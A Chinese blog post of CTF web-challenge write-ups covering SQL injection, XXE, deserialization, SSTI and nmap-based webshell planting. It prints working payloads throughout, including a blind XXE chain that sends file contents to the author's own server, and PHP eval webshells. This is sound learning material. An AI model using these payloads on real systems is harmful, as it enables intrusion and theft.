侧边栏壁纸
博主昵称
Mingzu

薪心相印,相由薪生

2024 minihash 集训 web

2024年12月11日 281阅读 0评论 0点赞

[RoarCTF 2019]Easy Java

BUU(2,1,1)
查看help,报 java.io.FileNotFoundException
换了几个文件名没变化,拦截,尝试改post之后读取到了help.docx
m4k25lmi.png
换了个文件名,通过报错信息拿到了当前的路径 /usr/local/tomcat/webapps/ROOT/
查看app的配置文件 WEB-INF/web.xml
m4k2jboz.png
访问 /Flag 报错,直接查看文件 WEB-INF/classes/com/wm/ctf/FlagController.class
m4k2s8su.png
解码,拿到flag

flag{e538b480-dc22-4393-9e8e-9c0a075c54a4}

[网鼎杯 2018]Fakebook

BUU(2,1,2)
dirsearch扫目录(扫太快会报一堆429,所以慢点扫),找到 robots.txt ,访问 /static/secretkey.txt 不给看,另寻出路
此外还发现了flag在 flag.php ,但访问 url/flag.php 读不到内容
m4k78vhs.png
有join和login两个,login不了,那就join一个试试
m4k4o22x.png
发现了 url/view.php?no=1 ,可能能注,尝试

no=0 # non-object
no=0 or true # 读到no=1那一条了
no=0 union select 1 # no hack ~_~
# union和select单独可以,"union select"被过滤了,试了试大小写都不行
# 用"union all select"或者"union/**/select"
no=0 union all select 1 # query error
no=0 union all select 1,2,3,4 # 过了,说明是4个

m4k50p7e.png
2没报错,有回显,开始查表

no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() # users
no=0 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users' # no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
no=0 union all select 1,group_concat(no,username,passwd,data),3,4 from users

m4k5cd0x.png
看到data是以php序列化的形式存的,利用ssrf读一些文件看看

# static/secretkey.txt 啥也没有
no=0 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"114";s:3:"age";i:514;s:4:"blog";s:41:"file:///var/www/html/static/secretkey.txt";}'
# robots.txt
no=0 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"114";s:3:"age";i:514;s:4:"blog";s:31:"file:///var/www/html/robots.txt";}'
# flag.php
no=0 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"114";s:3:"age";i:514;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

再读 robots.txt 找到了 user.php.bak ,但感觉到这一步也没啥用了
m4k7n6db.png
解码,拿到flag
m4k7sb3j.png

flag{bf399dca-9984-4b44-99a6-e9dfefd1e36b}

[BSidesCF 2020]Had a bad day

BUU(2,1,3)
index.php?category= ,且有个 <div class="page-include"> </div> 标签,标签里的内容看不到,大概是文件包含
试试 flag.php,确实在这,但是直接读读不到,那就先看一看 index.php
category=php://filter/convert.base64-encode/resource=index.php 发现会自动加一个.php后缀
m4kpood4.png
category=php://filter/convert.base64-encode/resource=index 解码后得到 index.php

<?php
                $file = $_GET['category'];
                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
?>

绕过if category=php://filter/convert.base64-encode/write=index/resource=flag
m4kq53n7.png
解码,拿到flag

flag{6b4684c4-5213-4cb8-8846-408660813463}

[网鼎杯 2020 朱雀组]phpweb

BUU(2,1,4)
查看网页源码,有两个POST参数, funcp ,从warning看出func是执行的函数,拦截改改看
m4kqcpn9.png
func=phpinfo&p= 说我是hacker(),system eval等等也不行
file_get_contents 查看 index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

反序列化
找flag, O:4:"Test":2:{s:1:"p";s:19:"find / -name '*flag*'";s:4:"func";s:6:"system";}
m4krsi5k.png
输出flag, O:4:"Test":2:{s:1:"p";s:22:"tac /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
m4krtbj2.png

flag{efc0da71-7e79-413e-a782-48c1018787af}

[BJDCTF2020]The mystery of ip

BUU(2,2,1)
hint给到 <!-- Do you know why i know your ip? --> => X-Forwarded-For
试了试,是模板注入
m4kshtb1.png
然后随便输一串,看看报错,是smarty

<label><h2>Your IP is : <br />
<b>Fatal error</b>:  Uncaught  --&gt; Smarty Compiler: Syntax error in template &quot;string:{hhfeuij}&quot;  on line 1 &quot;{hhfeuij}&quot; unknown tag 'hhfeuij' &lt;-- 
  thrown in <b>/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php</b> on line <b>1</b><br />

找flag, {system("find / -name '*flag*'")}
输出flag, {system("cat /flag")}
m4ksxuue.png

flag{3855105a-2b64-4f8d-8591-2692789287d4}

[BJDCTF2020]ZJCTF,不过如此

BUU(2,2,2)

# first
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //next.php
}
else{
    highlight_file(__FILE__);
}
?>

data:// 协议伪造数据, url/?text=data://text/plain,I have a dream
php://filter 查看next.php,&file=php://filter/convert.base64-encode/resource=next.php

# next
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

然后 file=next.php 把文件包含进来
查到 /e 是现在已经废弃的用法,然后搜 preg_replace /e 把答案搜出来了(绷)
https://blog.csdn.net/weixin_49656607/article/details/119833707

preg_replace /e 模式,可以在替换时执行代码
preg_replace(pattern, replacement, subject)
这道题是preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
主要有3点:

  1. replacement = 'strtolower("\1")',在这里因为有/e,所以相当于eval('strtolower("\1")'),其中\1是\1(第一个\是转义),在正则表达式里表示第一个匹配项
  2. 在php中,非法的 $_GET 数组参数名会变成下划线,所以直接传.*=xxx的话会被替换成_*,然后就无法执行力
  3. php可变变量,双引号包裹的字符串中变量会被解析,所以这 ${phpinfo()} 中的 phpinfo() 会先被当作变量执行

加上 \S*=${phpinfo()} 可算看到了phpinfo
找flag, GET /?text=data://text/plain,I%20have%20a%20dream&file=next.php&\S*=${getFlag()}&cmd=system("find%20/%20-name%20'*flag*'");
m4l7x4mk.png
拿到flag, GET /?text=data://text/plain,I%20have%20a%20dream&file=next.php&\S*=${getFlag()}&cmd=system("tac%20/flag");
m4l804eo.png

flag{bc338932-1ccd-4987-a9ca-da4851c77f8a}

[BUUCTF 2018]Online Tool

BUU(2,2,3)

# code
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>

$_SERVER['HTTP_X_FORWARDED_FOR'] 通过请求头 X-Forwarded-For 更改(没用到)
写入一句话木马,然后拿flag(具体怎么写见下面)

escapeshellarg

  1. 只传递一个参数,不能指定更多的参数
  2. 不能执行不同的命令

escapeshellcmd

  1. 只执行一个命令,但可以指定一堆参数
  2. 不能执行不同的命令

第1条明显有冲突,查到 escapeshellarg 和 escapeshellcmd 一起使用,会造成特殊字符逃逸
原文:[红日安全]代码审计Day5 - escapeshellarg与escapeshellcmd使用不当

构造payload
令 host = ' <?php @eval($_GET[1]);?> -oG mu.php '
escapeshellarg 先对 ' 转义,并将左右两边引起来,变成 ''\'' <?php @eval($_GET[1]);?> -oG mu.php '\'''
escapeshellcmd 再对部分字符转义,变成 ''\'' \<?php @eval($_GET[1])\;?\> -oG mu.php '\'''
最终执行的是 nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_GET[1]);?> -oG mu.php
-oG 输出的是 grepable ,文本格式,包括指令和输出结果
然后就能用一句话木马拿flag力

GET /sandbox/mu.php?1=system("find / -name '\*flag\*'");,找flag
m4lbi5us.png

GET /sandbox/mu.php?1=system("cat /flag");,拿到flag
m4lbjimg.png

flag{2ecc7013-bcf7-405d-8744-67eaf0c93b2d}

[GXYCTF2019]禁止套娃

BUU(2,2,4)
一看啥也没给,扫目录吧
一扫扫出来一堆 /.git/xxx ,还有个 /flag.php,但没内容

200   137B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/index
200   267B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/COMMIT_EDITMSG
200    92B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/config
200    73B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/description
200    23B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/HEAD
200   137B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/index
200   240B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/info/exclude
200   150B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/logs/HEAD
200   150B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/logs/refs/heads/master
200    41B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/refs/heads/master
200     0B   http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/flag.php

是 .git 泄漏,直接上 GitHack 罢
m4ldadqh.png
找到 index.php 力

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

看到这个正则 /[a-z,_]+\((?R)?\)/ ,用无参数的函数绕过
et 被过滤了,所以 getchwd 用不了,搜了搜有个抽象的
current(localeconv()) 永远返回一个点, pos(localeconv()) 也行

先看看目录, GET /?exp=print_r(scandir(pos(localeconv())));
m4lenui4.png
然后拿flag, GET /?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

m4lf1a7c.png

flag{aef895de-be3a-476f-adc9-e02b06c9e6dd}

[NCTF2019]Fake XML cookbook

BUU(2,3,1)
网页源码有个 function,没啥用处就不放了
拦截看到 POST 了一个 xml ,应该是 xxe,试试
m4mdfve7.png

# payload
<?xml version="1.0" ?>
<!DOCTYPE creds [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
    <username>&file;</username>
    <password>123</password>
</user>

拿 flag
m4mfu2o8.png

下面是抽象操作👍,就当练 blind xxe 了
没回显 (不知道当时怎么想的,乐),不熟,查:浅析无回显的XXE(Blind XXE)
那就先写 test.dtd ,在自己的vps上开个 flask
m4mfdqki.png

# test.dtd
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///var/www/html/doLogin.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://mingzux.com:11451/?p=%file;'>">
# payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://mingzux.com:11451/test.dtd">
%remote;%int;%send;
]>
# app.py

from flask import Flask, send_file, request
app = Flask('a')

@app.route('/test.dtd')
def provide_file():
    filename = 'test.dtd'
    return send_file(filename)

@app.route('/')
def receive_data():
    data = request.args.get('p')
    if data:
        with open('data.txt', 'a') as file:
            file.write(data + '\n')
        return "Success!", 200
    else:
        return "Failed!", 400

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=11451)

拿到了 doLogin.php 里的账号和密码(然后发现没用)
m4metffy.png

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
......
?>

改 test.dtd,试了试 flag 在 /flag
m4mfbhro.png

flag{9f0877ed-0f29-4c9c-b02d-597dcd5fffb2}

[GWCTF 2019]我有一个数据库

BUU(2,3,2)
m4mzd49r.png
烫烫烫()
拦截看到正确编码的内容:我有一个数据库,但里面什么也没有~ 不信你找
扫目录吧,扫到了phpmyadmin,查了查数据库里面还真没东西
m4mzoj6c.png
找到版本 4.8.1 ,google一下
m4mzuc7l.png
搜到了漏洞,phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
照抄文章里的 payload 读 /flag
m4n0mv62.png

flag{04639db3-659f-4963-8acf-ad0cfaaef264}

[BJDCTF2020]Mark loves cat

BUU(2,3,3)
页面左下角有个 dog,没用
找不到什么了,扫扫目录
m4n1o3dz.png
扫出一堆 .git,上 GitHack
拿到两个文件

# index.php
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
# flag.php
<?php
$flag = file_get_contents('/flag');%

然后就是 php 的题了
payload: url/index.php?yds=flag
m4n1hhnr.png

flag{2959c830-1a32-4271-90d6-8a5325346ef5}

btw:cat 真没用吧,mark lovs dog(确信

[WUSTCTF2020]朴实无华

BUU(2,3,4)
m4n1uqx4.png
应该是 header() 函数的报错(但后面没用到)
扫目录有 robots.txt,GET的话会从缓存读, max-age=43200😃,用POST
(想到之前没内容的 robots.txt 是不是也是缓存的问题?回头去看了看,确实有缓存,但是POST方法被禁了,所以当时想到了也没用)
m4n36sln.png
找到个 fake flag,到 /fl4g.php 去看看
m4n38po6.png

# fl4g.php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

level1, num=2e4 会在前面被截断成 2,而在后面会先计算成 20001

level2,找一个以 0e 开头,后面全是数字的字符串,这个字符串的 md5 也是同样的格式

# 不懂 md5 的算法,写了个循环跑,跑了两分钟跑出来一个 0e215962017
import hashlib
from tqdm import tqdm

for i in tqdm(range(10000000000)):
    h = hashlib.md5()
    h.update(f"0e{str(i)}".encode('utf-8'))
    result = h.hexdigest()

    if result[:2] == "0e" and result[2:].isnumeric():
        print(i, result)

所以 level2, md5=0e215962017 => "0e215962017"=="0e291242476940776845150308577824" 通过,因为 0==0

放在后台跑了一会,这种字符串还是挺多的:
0e215962017
0e730083352
0e807097110
0e1137126095
0e1284838308
0e2799298535
♥️来自i9 14900kf

最后get flag,先 ls 看看,flag 就在当前目录
m4n5gd06.png
get_flag=tac${IFS}fll*
m4n5jyii.png

flag{ab33f21d-59f0-43ae-be14-59100d701769}

[BJDCTF2020]Cookie is so stable

BUU(2,4,1)
hint 给到:Why not take a closer look at cookies?
扫目录扫到
m4n8in3k.png
url/vender/composer/installed.json 里面有点东西
m4n8lgal.png
确定安装了 twig 模板,那就是 ssti 了,试了试 login 后,可以在 url/flag.php 请求中的 Cookie: user={{114*514}} 这里注
twig 不懂,搜了搜怎么注:SSTI(模板注入)漏洞(入门篇)
还是不太懂,之后系统的学一学,下面是搜来的 payload 模板

# 找 flag
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("find / -name '*flag*'")}}
# cat flag
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}

m4n8hj0e.png

flag{7e7f8f23-31a3-4235-9c84-8671f8876e29}

[MRCTF2020]Ezpop

BUU(2,4,2)
首先 Show 调用 __toString , str 设为 Test
因为 Test 没有 source 属性,所以会调用 __get ,然后执行函数 p
p 设为 Modifier ,调用 __invoke ,实现包含
payload 如下

<?php
class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$x = new Show();
$x->str = new Test();
$x->str->p = new Modifier();
$x = new Show($x);

echo urlencode(serialize($x));
?>

拿到 flag
m4o4u022.png

flag{75b2c8c1-99c6-4fa2-b79b-3f561698c426}

[安洵杯 2019]easy_web

BUU(2,4,3)
m4o4vt0u.png
😭😭😭
img 看着像 base64,解码看看
m4o69pf9.png
网页源码显示 555.png 的 base64 编码,应该也能读 index.php
m4o6b0ci.png
把 index.php encode 回去,是 TmprMlpUWTBOalUzT0RKbE56QTJPRGN (toHex 的时候要改成没有空格)
m4o6c21y.png

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

强碰撞,用 fastcoll 生成俩文件,作为 a 和 b
ls 被禁了,用 cmd=dir / 查目录,找到 /flag
base64 没被禁,用 base64 /flag 拿 flag
m4o8iuza.png

flag{f5b2f572-ff18-4d18-82fa-5dfc5cffbb90}

[MRCTF2020]PYWebsite

BUU(2,4,4)
有两种方式找到 /flag.php
一是扫目录,二是查 md5 :https://www.nitrxgen.net/md5db/0cd4da0223c0b280829dc3ea458d655c
ARandomString
输入到验证框会跳转到 url/flag.php ,重点是 除了购买者和我自己X-Forwarded-For: 127.0.0.1
拿到 flag
m4o9t2h9.png

flag{113999c5-3593-4b8b-a5de-9837bc5682d3}

[WesternCTF2018]shrine

BUU(2,5,1)
ssti jinja2

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

config 里定义了 FLAG,但我实在是找不到用什么其他方式读()
wp 里说下面这俩方法有个 current_app 的属性,可以通过这个访问 config

url_for() 方法:
url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。
get_flashed_messages() 方法:
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

payload,涨姿势了

GET /shrine/{{url_for.__globals__['current_app'].config}}

m4od2ecy.png

flag{bbce121b-df2c-4867-a521-f1c2d3dc3e76}

[RCTF 2024] OpenYourEyesToSeeTheWorld

(顺着挑的,没想到第一个就稍微有点了解)
java版本 1.8.0_342

m5cqkwty.png

在 DemoController 里面找到:

m5cqh1h5.png

我朝,ldap

请求用 json 传,传4个参数: ip,port,searchBase,filter
ip 只能是 ipv4 ,port 是数字,其他两个是字符串,请求体需要匹配正则:

# RequestWrapper.class
"^[{}0-9a-zA-Z\"\\\\:,.]*$"

[安洵杯 2019]easy_serialize_php

BUU

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

看看 phpinfo,有个 d0g3_f1ag.php

m5z9nudd.png

不会读了,查了一下是利用反序列化字符逃逸,这个 filter 立大功

<?php 
$img = base64_encode('d0g3_f1ag.php');
echo $img."\n";
$_SESSION['flagflag'] = '";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$res = serialize($_SESSION);
echo $res."\n";
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
echo filter(serialize($_SESSION));

序列化前后:

ZDBnM19mMWFnLnBocA==
a:1:{s:8:"flagflag";s:51:"";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
a:1:{s:8:"";s:51:"";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}

这样,会被解析为:键为 ;s:51:" 值为 abc,然后 img 的值为 base64编码的 d0g3_f1ag.php
因此反序列化后,会打印 d0g3_f1ag.php 的内容

最后加一个 ;} 是为了提前终止,消除后面关于 img_path 判断的影响

POST /index.php?f=show_image

_SESSION[flagflag]=";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

m5zaqm4b.png

接下来要读取 /d0g3_fllllllag,相应的改写 payload:

POST /index.php?f=show_image

_SESSION[flagflag]=";s:3:"abc";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
flag{fa151da5-b39c-4dce-afa2-be4510922fc1}

[强网杯 2019]高明的黑客

BUU
访问 url/www.tar.gz,拿到几千个 .php,全都是混淆过的,肯定不能用眼瞅,所以写个脚本看看哪个 $_GET 或 $_POST 能执行命令
BUU给的靶机太拉了,拉一个本地的:https://github.com/glzjin/qwb_2019_smarthacker

import os
import threading
import requests
from threading import Thread, Lock
from tqdm import tqdm

thread_ = threading.Semaphore(200)
requests.adapters.DEFAULT_RETRIES = 5
sess = requests.Session()

files = [file for file in os.listdir(os.getcwd()) if file.endswith('.php')]

results = []
results_lock = Lock()


def func(file):
    thread_.acquire()
    url = f"http://127.0.0.1:8302/{file}"
    with open(file, 'r') as f:
        lines = f.readlines()
        for line in lines:
            try:
                if "$_GET['" in line:
                    param = line.split("['")[1].split("']")[0]
                    response = sess.get(url + f'?{param}=echo "hashashahhf";')
                    method = 'GET'
                elif "$_POST['" in line:
                    param = line.split("['")[1].split("']")[0]
                    data = {param: 'echo "hashashahhf";'}
                    response = sess.post(url, data=data)
                    method = 'POST'
                else:
                    continue

                if "hashashahhf" in response.text:
                    with results_lock:
                        results.append((file, param, method))
            except Exception as e:
                print(f"Error {file}: {e}")

    thread_.release()

threads = []
for file in tqdm(files):
    thread = Thread(target=func, args=(file,))
    threads.append(thread)
    thread.start()
    thread.join()

for result in results:
    file, param, method = result
    print(file, param, method)

找到 GET /xk0SzyKwfzw.php?Efa5BVG= 可以用

m5zev443.png

GET /xk0SzyKwfzw.php?Efa5BVG=find / -name "*flag*"
GET /xk0SzyKwfzw.php?Efa5BVG=cat /flag

m5zepl15.png

flag{dd5a658d-4ea2-4565-825d-45cbba59611d}

[网鼎杯 2020 朱雀组]Nmap

BUU
网页提示 flag 在 /flag
之前那道 [BUUCTF 2018]Online Tool 做过类似的,用 nmap -oG 可以把命令和输出结果一同写到文件里

尝试:

host=127.0.0.1 -oG 1.txt # 写不进去
host=127.0.0.1' -oG 1.txt # 写入到了1.txt'

m5zg2lb2.png

host=127.0.0.1' <?php @eval($_POST["cmd"]);?> -oG eval.php # Hacker... 过滤了一些东西,可能是php
host=127.0.0.1' <?= @eval($_POST["cmd"]);?> -oG eval.phtml ' # 过了,蚁剑连接

m5zh0cfw.png

访问 /flag,拿到flag

m5zh0xut.png

flag{f0bd0732-f436-49ba-9cf0-802517f60d54}

查了查还有其他姿势也能拿到 flag,毕竟已经给出了 flag 的位置
可以用 nmap -iL 实现 namp 读取任意文件
payload

host=127.0.0.1' -iL ../../../../flag -o flag '
GET /flag

m5zhe0aq.png

[NPUCTF2020]ReadlezPHP

BUU

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

反序列化
题目利用点很明显,用蚁剑连接

/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:18:"eval($_POST[cmd]);";s:1:"b";s:6:"assert";}

查看不了任何文件,应该是没权限,传参执行 ls 也没返回

m60pnbna.png

可能 flag 在环境变量里,看看 phpinfo

GET /time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}

m60pmyj5.png

flag{ab2d65a1-f417-40c9-be61-88ac5d216042}

[ASIS 2019]Unicorn shop

BUU
试了试,前面三个不让买,最后一个钱不够,而且要1337.0,但是只能是一个字符
%00 报错,找到了price相关的代码:
m60pyioa.png

unicodedata.numeric(price)

这个挺好玩的,可以输汉字,也就是说

unicodedata.numeric("兆") == 1000000.0

m60q5jsh.png

flag{24a5e5cb-0b87-4c3e-9049-9e0a5d431caa}

[CISCN2019 华东南赛区]Web11

BUU
首页直接说了 Build with smarty,ssti
右上角显示 ip,页面上又有get XFF,所以更改 X-Forwarded-For 请求头用于 ssti

m60qh0vk.png

{php}{/php} 标签被禁用,但 {if}{/if} 活着
payload

X-Forwarded-For: 
{if phpinfo()}{/if} # phpinfo
{if system('find / -name "*flag*"')}{/if} # 找 flag ,在 /flag
{if system('cat /flag')}{/if} # 读 flag

m60qsb34.png

